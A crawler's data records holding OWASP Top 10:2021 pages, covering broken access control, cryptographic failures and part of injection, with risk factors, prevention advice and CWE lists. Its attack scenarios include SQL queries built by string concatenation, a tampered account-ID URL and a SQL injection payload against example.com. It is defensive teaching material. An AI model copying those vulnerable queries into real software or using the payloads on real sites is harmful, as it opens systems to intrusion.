applied generalized factors for exploitability and impact; to help rank the Top 10 2021 in a risk based order.\n\n## Data Factors\n\nThere are data factors that are listed for each of the Top 10 Categories, here is what they mean:\n\n- CWEs Mapped: The number of CWEs mapped to a category by the Top 10 team.\n- Incidence Rate: Incidence rate is the percentage of applications vulnerable to that CWE from the population tested by that org for that year.\n- (Testing) Coverage: The percentage of applications tested by all organizations for a given CWE.\n- Weighted Exploit: The Exploit sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.\n- Weighted Impact: The Impact sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.\n- Total Occurrences: Total number of applications found to have the CWEs mapped to a category.\n- Total CVEs: Total number of CVEs in the NVD DB that were mapped to the CWEs mapped to a category.\n\n## Thank you to our data contributors\n\nThe following organizations (along with some anonymous donors) kindly donated data for over 500,000 applications to make this the largest and most comprehensive application security data set. Without you, this would not be possible.\n\n- AppSec Labs\n- Cobalt.io\n- Contrast Security\n- GitLab\n- HackerOne\n- HCL Technologies\n- Micro Focus\n- PenTest-Tools\n- Probely\n- Sqreen\n- Veracode\n- WhiteHat (NTT)\n\n## Thank you to our sponsors\n\nThe OWASP Top 10 2021 team gratefully acknowledge the financial support of Secure Code Warrior and Just Eat.", "znaku_textu": 16625, "slov": 2732, "odkazu": 45, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:48", "sha256": "3dfe42aa322f0872aac421144b0edb6f96cc1b43f95101cbe327f41059331060", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://securecodewarrior.com/", "https://www.just-eat.co.uk/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A01_2021-Broken_Access_Control/", "titulek": "A01 Broken Access Control - OWASP Top 10:2021", "h1": "A01:2021 – Broken Access Control", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A01_2021-Broken_Access_Control/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A01:2021 – Broken Access Control"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A01:2021 – Broken Access Control\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 34 | 55.97% | 3.81% | 6.92 | 5.93 | 94.55% | 47.72% | 318,487 | 19,013 |\n\n## Overview\n\nMoving up from the fifth position, 94% of applications were tested for\nsome form of broken access control with the average incidence rate of 3.81%, and has the most occurrences in the contributed dataset with over 318k. Notable Common Weakness Enumerations (CWEs) included are *CWE-200: Exposure of Sensitive Information to an Unauthorized Actor*, *CWE-201:\nInsertion of Sensitive Information Into Sent Data*, and *CWE-352:\nCross-Site Request Forgery*.\n\n## Description\n\nAccess control enforces policy such that users cannot act outside of\ntheir intended permissions. Failures typically lead to unauthorized\ninformation disclosure, modification, or destruction of all data or\nperforming a business function outside the user's limits. Common access\ncontrol vulnerabilities include:\n\n- Violation of the principle of least privilege or deny by default,\n where access should only be granted for particular capabilities,\n roles, or users, but is available to anyone.\n- Bypassing access control checks by modifying the URL (parameter\n tampering or force browsing), internal application state, or the\n HTML page, or by using an attack tool modifying API requests.\n- Permitting viewing or editing someone else's account, by providing\n its unique identifier (insecure direct object references)\n- Accessing API with missing access controls for POST, PUT and DELETE.\n- Elevation of privilege. Acting as a user without being logged in or\n acting as an admin when logged in as a user.\n- Metadata manipulation, such as replaying or tampering with a JSON\n Web Token (JWT) access control token, or a cookie or hidden field\n manipulated to elevate privileges or abusing JWT invalidation.\n- CORS misconfiguration allows API access from unauthorized/untrusted\n origins.\n- Force browsing to authenticated pages as an unauthenticated user or\n to privileged pages as a standard user.\n\n## How to Prevent\n\nAccess control is only effective in trusted server-side code or\nserver-less API, where the attacker cannot modify the access control\ncheck or metadata.\n\n- Except for public resources, deny by default.\n- Implement access control mechanisms once and re-use them throughout\n the application, including minimizing Cross-Origin Resource Sharing (CORS) usage.\n- Model access controls should enforce record ownership rather than\n accepting that the user can create, read, update, or delete any\n record.\n- Unique application business limit requirements should be enforced by\n domain models.\n- Disable web server directory listing and ensure file metadata (e.g.,\n .git) and backup files are not present within web roots.\n- Log access control failures, alert admins when appropriate (e.g.,\n repeated failures).\n- Rate limit API and controller access to minimize the harm from\n automated attack tooling.\n- Stateful session identifiers should be invalidated on the server after logout.\n Stateless JWT tokens should rather be short-lived so that the window of \n opportunity for an attacker is minimized. For longer lived JWTs it's highly recommended to\n follow the OAuth standards to revoke access.\n\nDevelopers and QA staff should include functional access control unit\nand integration tests.\n\n## Example Attack Scenarios\n\n**Scenario #1:** The application uses unverified data in a SQL call that\nis accessing account information:\n\n```\n pstmt.setString(1, request.getParameter(\"acct\"));\n ResultSet results = pstmt.executeQuery( );\n```\n\nAn attacker simply modifies the browser's 'acct' parameter to send\nwhatever account number they want. If not correctly verified, the\nattacker can access any user's account.\n\n```\n https://example.com/app/accountInfo?acct=notmyacct\n```\n\n**Scenario #2:** An attacker simply force browses to target URLs. Admin\nrights are required for access to the admin page.\n\n```\n https://example.com/app/getappInfo\n https://example.com/app/admin_getappInfo\n```\n\nIf an unauthenticated user can access either page, it's a flaw. If a\nnon-admin can access the admin page, this is a flaw.\n\n## References\n\n- [OWASP Proactive Controls: Enforce Access\n Controls](https://owasp.org/www-project-proactive-controls/v3/en/c7-enforce-access-controls)\n- [OWASP Application Security Verification Standard: V4 Access\n Control](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: Authorization\n Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [OWASP Cheat Sheet: Authorization](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [PortSwigger: Exploiting CORS\n misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)\n- [OAuth: Revoking Access](https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/)\n\n## List of Mapped CWEs\n\n[CWE-22 Improper Limitation of a Pathname to a Restricted Directory\n('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)\n\n[CWE-23 Relative Path Traversal](https://cwe.mitre.org/data/definitions/23.html)\n\n[CWE-35 Path Traversal: '.../...//'](https://cwe.mitre.org/data/definitions/35.html)\n\n[CWE-59 Improper Link Resolution Before File Access ('Link Following')](https://cwe.mitre.org/data/definitions/59.html)\n\n[CWE-200 Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n\n[CWE-201 Exposure of Sensitive Information Through Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n\n[CWE-219 Storage of File with Sensitive Data Under Web Root](https://cwe.mitre.org/data/definitions/219.html)\n\n[CWE-264 Permissions, Privileges, and Access Controls (should no longer be used)](https://cwe.mitre.org/data/definitions/264.html)\n\n[CWE-275 Permission Issues](https://cwe.mitre.org/data/definitions/275.html)\n\n[CWE-276 Incorrect Default Permissions](https://cwe.mitre.org/data/definitions/276.html)\n\n[CWE-284 Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n\n[CWE-285 Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n\n[CWE-352 Cross-Site Request Forgery (CSRF)](https://cwe.mitre.org/data/definitions/352.html)\n\n[CWE-359 Exposure of Private Personal Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/359.html)\n\n[CWE-377 Insecure Temporary File](https://cwe.mitre.org/data/definitions/377.html)\n\n[CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')](https://cwe.mitre.org/data/definitions/402.html)\n\n[CWE-425 Direct Request ('Forced Browsing')](https://cwe.mitre.org/data/definitions/425.html)\n\n[CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')](https://cwe.mitre.org/data/definitions/441.html)\n\n[CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere](https://cwe.mitre.org/data/definitions/497.html)\n\n[CWE-538 Insertion of Sensitive Information into Externally-Accessible File or Directory](https://cwe.mitre.org/data/definitions/538.html)\n\n[CWE-540 Inclusion of Sensitive Information in Source Code](https://cwe.mitre.org/data/definitions/540.html)\n\n[CWE-548 Exposure of Information Through Directory Listing](https://cwe.mitre.org/data/definitions/548.html)\n\n[CWE-552 Files or Directories Accessible to External Parties](https://cwe.mitre.org/data/definitions/552.html)\n\n[CWE-566 Authorization Bypass Through User-Controlled SQL Primary Key](https://cwe.mitre.org/data/definitions/566.html)\n\n[CWE-601 URL Redirection to Untrusted Site ('Open Redirect')](https://cwe.mitre.org/data/definitions/601.html)\n\n[CWE-639 Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)\n\n[CWE-651 Exposure of WSDL File Containing Sensitive Information](https://cwe.mitre.org/data/definitions/651.html)\n\n[CWE-668 Exposure of Resource to Wrong Sphere](https://cwe.mitre.org/data/definitions/668.html)\n\n[CWE-706 Use of Incorrectly-Resolved Name or Reference](https://cwe.mitre.org/data/definitions/706.html)\n\n[CWE-862 Missing Authorization](https://cwe.mitre.org/data/definitions/862.html)\n\n[CWE-863 Incorrect Authorization](https://cwe.mitre.org/data/definitions/863.html)\n\n[CWE-913 Improper Control of Dynamically-Managed Code Resources](https://cwe.mitre.org/data/definitions/913.html)\n\n[CWE-922 Insecure Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/922.html)\n\n[CWE-1275 Sensitive Cookie with Improper SameSite Attribute](https://cwe.mitre.org/data/definitions/1275.html)", "znaku_textu": 8629, "slov": 942, "odkazu": 79, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:53", "sha256": "47aa0fef2d8a1ebe6e45c16ba3430d9e0465457f34475743a82e84739e37afa7", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html", "https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties", "https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/", "https://cwe.mitre.org/data/definitions/22.html", "https://cwe.mitre.org/data/definitions/23.html", "https://cwe.mitre.org/data/definitions/35.html", "https://cwe.mitre.org/data/definitions/59.html", "https://cwe.mitre.org/data/definitions/200.html", "https://cwe.mitre.org/data/definitions/201.html", "https://cwe.mitre.org/data/definitions/219.html", "https://cwe.mitre.org/data/definitions/264.html", "https://cwe.mitre.org/data/definitions/275.html", "https://cwe.mitre.org/data/definitions/276.html", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/352.html", "https://cwe.mitre.org/data/definitions/359.html", "https://cwe.mitre.org/data/definitions/377.html", "https://cwe.mitre.org/data/definitions/402.html", "https://cwe.mitre.org/data/definitions/425.html", "https://cwe.mitre.org/data/definitions/441.html", "https://cwe.mitre.org/data/definitions/497.html", "https://cwe.mitre.org/data/definitions/538.html", "https://cwe.mitre.org/data/definitions/540.html", "https://cwe.mitre.org/data/definitions/548.html", "https://cwe.mitre.org/data/definitions/552.html", "https://cwe.mitre.org/data/definitions/566.html", "https://cwe.mitre.org/data/definitions/601.html", "https://cwe.mitre.org/data/definitions/639.html", "https://cwe.mitre.org/data/definitions/651.html", "https://cwe.mitre.org/data/definitions/668.html", "https://cwe.mitre.org/data/definitions/706.html", "https://cwe.mitre.org/data/definitions/862.html", "https://cwe.mitre.org/data/definitions/863.html", "https://cwe.mitre.org/data/definitions/913.html", "https://cwe.mitre.org/data/definitions/922.html", "https://cwe.mitre.org/data/definitions/1275.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A02_2021-Cryptographic_Failures/", "titulek": "A02 Cryptographic Failures - OWASP Top 10:2021", "h1": "A02:2021 – Cryptographic Failures", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A02_2021-Cryptographic_Failures/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A02:2021 – Cryptographic Failures"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A02:2021 – Cryptographic Failures\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 29 | 46.44% | 4.49% | 7.29 | 6.81 | 79.33% | 34.85% | 233,788 | 3,075 |\n\n## Overview\n\nShifting up one position to #2, previously known as *Sensitive Data\nExposure*, which is more of a broad symptom rather than a root cause,\nthe focus is on failures related to cryptography (or lack thereof).\nWhich often lead to exposure of sensitive data. Notable Common Weakness Enumerations (CWEs) included\nare *CWE-259: Use of Hard-coded Password*, *CWE-327: Broken or Risky\nCrypto Algorithm*, and *CWE-331 Insufficient Entropy*.\n\n## Description\n\nThe first thing is to determine the protection needs of data in transit\nand at rest. For example, passwords, credit card numbers, health\nrecords, personal information, and business secrets require extra\nprotection, mainly if that data falls under privacy laws, e.g., EU's\nGeneral Data Protection Regulation (GDPR), or regulations, e.g.,\nfinancial data protection such as PCI Data Security Standard (PCI DSS).\nFor all such data:\n\n- Is any data transmitted in clear text? This concerns protocols such\n as HTTP, SMTP, FTP also using TLS upgrades like STARTTLS. External \n internet traffic is hazardous. Verify all internal traffic, e.g., \n between load balancers, web servers, or back-end systems.\n- Are any old or weak cryptographic algorithms or protocols used either \n by default or in older code?\n- Are default crypto keys in use, weak crypto keys generated or\n re-used, or is proper key management or rotation missing?\n Are crypto keys checked into source code repositories?\n- Is encryption not enforced, e.g., are any HTTP headers (browser)\n security directives or headers missing?\n- Is the received server certificate and the trust chain properly validated?\n- Are initialization vectors ignored, reused, or not generated\n sufficiently secure for the cryptographic mode of operation?\n Is an insecure mode of operation such as ECB in use? Is encryption\n used when authenticated encryption is more appropriate?\n- Are passwords being used as cryptographic keys in absence of a\n password base key derivation function?\n- Is randomness used for cryptographic purposes that was not designed\n to meet cryptographic requirements? Even if the correct function is\n chosen, does it need to be seeded by the developer, and if not, has\n the developer over-written the strong seeding functionality built into\n it with a seed that lacks sufficient entropy/unpredictability?\n- Are deprecated hash functions such as MD5 or SHA1 in use, or are\n non-cryptographic hash functions used when cryptographic hash functions\n are needed?\n- Are deprecated cryptographic padding methods such as PKCS number 1 v1.5\n in use?\n- Are cryptographic error messages or side channel information\n exploitable, for example in the form of padding oracle attacks?\n\nSee ASVS Crypto (V7), Data Protection (V9), and SSL/TLS (V10)\n\n## How to Prevent\n\nDo the following, at a minimum, and consult the references:\n\n- Classify data processed, stored, or transmitted by an application.\n Identify which data is sensitive according to privacy laws,\n regulatory requirements, or business needs.\n- Don't store sensitive data unnecessarily. Discard it as soon as\n possible or use PCI DSS compliant tokenization or even truncation.\n Data that is not retained cannot be stolen.\n- Make sure to encrypt all sensitive data at rest.\n- Ensure up-to-date and strong standard algorithms, protocols, and\n keys are in place; use proper key management.\n- Encrypt all data in transit with secure protocols such as TLS with\n forward secrecy (FS) ciphers, cipher prioritization by the\n server, and secure parameters. Enforce encryption using directives\n like HTTP Strict Transport Security (HSTS).\n- Disable caching for response that contain sensitive data.\n- Apply required security controls as per the data classification.\n- Do not use legacy protocols such as FTP and SMTP for transporting\n sensitive data.\n- Store passwords using strong adaptive and salted hashing functions\n with a work factor (delay factor), such as Argon2, scrypt, bcrypt or\n PBKDF2.\n- Initialization vectors must be chosen appropriate for the mode of\n operation. For many modes, this means using a CSPRNG (cryptographically\n secure pseudo random number generator). For modes that require a\n nonce, then the initialization vector (IV) does not need a CSPRNG. In all cases, the IV\n should never be used twice for a fixed key.\n- Always use authenticated encryption instead of just encryption.\n- Keys should be generated cryptographically randomly and stored in\n memory as byte arrays. If a password is used, then it must be converted\n to a key via an appropriate password base key derivation function.\n- Ensure that cryptographic randomness is used where appropriate, and\n that it has not been seeded in a predictable way or with low entropy.\n Most modern APIs do not require the developer to seed the CSPRNG to\n get security.\n- Avoid deprecated cryptographic functions and padding schemes, such as\n MD5, SHA1, PKCS number 1 v1.5.\n- Verify independently the effectiveness of configuration and\n settings.\n\n## Example Attack Scenarios\n\n**Scenario #1**: An application encrypts credit card numbers in a\ndatabase using automatic database encryption. However, this data is\nautomatically decrypted when retrieved, allowing a SQL injection flaw to\nretrieve credit card numbers in clear text.\n\n**Scenario #2**: A site doesn't use or enforce TLS for all pages or\nsupports weak encryption. An attacker monitors network traffic (e.g., at\nan insecure wireless network), downgrades connections from HTTPS to\nHTTP, intercepts requests, and steals the user's session cookie. The\nattacker then replays this cookie and hijacks the user's (authenticated)\nsession, accessing or modifying the user's private data. Instead of the\nabove they could alter all transported data, e.g., the recipient of a\nmoney transfer.\n\n**Scenario #3**: The password database uses unsalted or simple hashes to\nstore everyone's passwords. A file upload flaw allows an attacker to\nretrieve the password database. All the unsalted hashes can be exposed\nwith a rainbow table of pre-calculated hashes. Hashes generated by\nsimple or fast hash functions may be cracked by GPUs, even if they were\nsalted.\n\n## References\n\n- [OWASP Proactive Controls: Protect Data Everywhere](https://owasp.org/www-project-proactive-controls/v3/en/c8-protect-data-everywhere)\n- [OWASP Application Security Verification Standard (V7, 9, 10)](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Cheat Sheet: Transport Layer Protection](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: User Privacy Protection](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Cryptographic Storage](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: HSTS](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [OWASP Testing Guide: Testing for weak cryptography](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)\n\n## List of Mapped CWEs\n\n[CWE-259 Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html)\n\n[CWE-261 Weak Encoding for Password](https://cwe.mitre.org/data/definitions/261.html)\n\n[CWE-296 Improper Following of a Certificate's Chain of Trust](https://cwe.mitre.org/data/definitions/296.html)\n\n[CWE-310 Cryptographic Issues](https://cwe.mitre.org/data/definitions/310.html)\n\n[CWE-319 Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)\n\n[CWE-321 Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html)\n\n[CWE-322 Key Exchange without Entity Authentication](https://cwe.mitre.org/data/definitions/322.html)\n\n[CWE-323 Reusing a Nonce, Key Pair in Encryption](https://cwe.mitre.org/data/definitions/323.html)\n\n[CWE-324 Use of a Key Past its Expiration Date](https://cwe.mitre.org/data/definitions/324.html)\n\n[CWE-325 Missing Required Cryptographic Step](https://cwe.mitre.org/data/definitions/325.html)\n\n[CWE-326 Inadequate Encryption Strength](https://cwe.mitre.org/data/definitions/326.html)\n\n[CWE-327 Use of a Broken or Risky Cryptographic Algorithm](https://cwe.mitre.org/data/definitions/327.html)\n\n[CWE-328 Reversible One-Way Hash](https://cwe.mitre.org/data/definitions/328.html)\n\n[CWE-329 Not Using a Random IV with CBC Mode](https://cwe.mitre.org/data/definitions/329.html)\n\n[CWE-330 Use of Insufficiently Random Values](https://cwe.mitre.org/data/definitions/330.html)\n\n[CWE-331 Insufficient Entropy](https://cwe.mitre.org/data/definitions/331.html)\n\n[CWE-335 Incorrect Usage of Seeds in Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/335.html)\n\n[CWE-336 Same Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/336.html)\n\n[CWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/337.html)\n\n[CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/338.html)\n\n[CWE-340 Generation of Predictable Numbers or Identifiers](https://cwe.mitre.org/data/definitions/340.html)\n\n[CWE-347 Improper Verification of Cryptographic Signature](https://cwe.mitre.org/data/definitions/347.html)\n\n[CWE-523 Unprotected Transport of Credentials](https://cwe.mitre.org/data/definitions/523.html)\n\n[CWE-720 OWASP Top Ten 2007 Category A9 - Insecure Communications](https://cwe.mitre.org/data/definitions/720.html)\n\n[CWE-757 Selection of Less-Secure Algorithm During Negotiation('Algorithm Downgrade')](https://cwe.mitre.org/data/definitions/757.html)\n\n[CWE-759 Use of a One-Way Hash without a Salt](https://cwe.mitre.org/data/definitions/759.html)\n\n[CWE-760 Use of a One-Way Hash with a Predictable Salt](https://cwe.mitre.org/data/definitions/760.html)\n\n[CWE-780 Use of RSA Algorithm without OAEP](https://cwe.mitre.org/data/definitions/780.html)\n\n[CWE-818 Insufficient Transport Layer Protection](https://cwe.mitre.org/data/definitions/818.html)\n\n[CWE-916 Use of Password Hash With Insufficient Computational Effort](https://cwe.mitre.org/data/definitions/916.html)", "znaku_textu": 10524, "slov": 1286, "odkazu": 77, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:54", "sha256": "4f3d2e70555f21ad33eb5f6eaa7ab76a668c19df278c645e5043bb53a400a540", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/261.html", "https://cwe.mitre.org/data/definitions/296.html", "https://cwe.mitre.org/data/definitions/310.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/321.html", "https://cwe.mitre.org/data/definitions/322.html", "https://cwe.mitre.org/data/definitions/323.html", "https://cwe.mitre.org/data/definitions/324.html", "https://cwe.mitre.org/data/definitions/325.html", "https://cwe.mitre.org/data/definitions/326.html", "https://cwe.mitre.org/data/definitions/327.html", "https://cwe.mitre.org/data/definitions/328.html", "https://cwe.mitre.org/data/definitions/329.html", "https://cwe.mitre.org/data/definitions/330.html", "https://cwe.mitre.org/data/definitions/331.html", "https://cwe.mitre.org/data/definitions/335.html", "https://cwe.mitre.org/data/definitions/336.html", "https://cwe.mitre.org/data/definitions/337.html", "https://cwe.mitre.org/data/definitions/338.html", "https://cwe.mitre.org/data/definitions/340.html", "https://cwe.mitre.org/data/definitions/347.html", "https://cwe.mitre.org/data/definitions/523.html", "https://cwe.mitre.org/data/definitions/720.html", "https://cwe.mitre.org/data/definitions/757.html", "https://cwe.mitre.org/data/definitions/759.html", "https://cwe.mitre.org/data/definitions/760.html", "https://cwe.mitre.org/data/definitions/780.html", "https://cwe.mitre.org/data/definitions/818.html", "https://cwe.mitre.org/data/definitions/916.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A03_2021-Injection/", "titulek": "A03 Injection - OWASP Top 10:2021", "h1": "A03:2021 – Injection", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A03_2021-Injection/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A03:2021 – Injection"}, {"uroven": 2, "text": "Factors"}, {"uroven": 2, "text": "Overview"}, {"uroven": 2, "text": "Description"}, {"uroven": 2, "text": "How to Prevent"}, {"uroven": 2, "text": "Example Attack Scenarios"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A03:2021 – Injection\n\n## Factors\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 33 | 19.09% | 3.37% | 7.25 | 7.15 | 94.04% | 47.90% | 274,228 | 32,078 |\n\n## Overview\n\nInjection slides down to the third position. 94% of the applications\nwere tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3%, and 274k occurrences. Notable Common Weakness Enumerations (CWEs) included are\n*CWE-79: Cross-site Scripting*, *CWE-89: SQL Injection*, and *CWE-73:\nExternal Control of File Name or Path*.\n\n## Description\n\nAn application is vulnerable to attack when:\n\n- User-supplied data is not validated, filtered, or sanitized by the\n application.\n- Dynamic queries or non-parameterized calls without context-aware\n escaping are used directly in the interpreter.\n- Hostile data is used within object-relational mapping (ORM) search\n parameters to extract additional, sensitive records.\n- Hostile data is directly used or concatenated. The SQL or command\n contains the structure and malicious data in dynamic queries,\n commands, or stored procedures.\n\nSome of the more common injections are SQL, NoSQL, OS command, Object\nRelational Mapping (ORM), LDAP, and Expression Language (EL) or Object\nGraph Navigation Library (OGNL) injection. The concept is identical\namong all interpreters. Source code review is the best method of\ndetecting if applications are vulnerable to injections. Automated\ntesting of all parameters, headers, URL, cookies, JSON, SOAP, and XML\ndata inputs is strongly encouraged. Organizations can include\nstatic (SAST), dynamic (DAST), and interactive (IAST) application security testing tools into the CI/CD\npipeline to identify introduced injection flaws before production\ndeployment.\n\n## How to Prevent\n\nPreventing injection requires keeping data separate from commands and queries:\n\n- The preferred option is to use a safe API, which avoids using the\n interpreter entirely, provides a parameterized interface, or\n migrates to Object Relational Mapping Tools (ORMs).\n **Note:** Even when parameterized, stored procedures can still introduce\n SQL injection if PL/SQL or T-SQL concatenates queries and data or\n executes hostile data with EXECUTE IMMEDIATE or exec().\n- Use positive server-side input validation. This is\n not a complete defense as many applications require special\n characters, such as text areas or APIs for mobile applications.\n- For any residual dynamic queries, escape special characters using\n the specific escape syntax for that interpreter.\n **Note:** SQL structures such as table names, column names, and so on\n cannot be escaped, and thus user-supplied structure names are\n dangerous. This is a common issue in report-writing software.\n\n## Example Attack Scenarios\n\n**Scenario #1:** An application uses untrusted data in the construction\nof the following vulnerable SQL call:\n\n```\nString query = \"SELECT \\* FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\";\n```\n\n**Scenario #2:** Similarly, an application’s blind trust in frameworks\nmay result in queries that are still vulnerable, (e.g., Hibernate Query\nLanguage (HQL)):\n\n```\n Query HQLQuery = session.createQuery(\"FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\");\n```\n\nIn both cases, the attacker modifies the ‘id’ parameter value in their\nbrowser to send: ' UNION SLEEP(10);--. For example:\n\n```\n http://example.com/app/accountView?id=' UNION SELECT SLEEP(10);--\n```\n\nThis changes the meaning of both queries to return all the records from\nthe accounts table. More dangerous attacks could modify or delete data\nor even invoke stored procedures.\n\n## References\n\n- [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/v3/en/c3-secure-database)\n- [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: SQL Injection,](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection) [Command Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection),\n and [ORM Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)\n- [OWASP Cheat Sheet: Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- 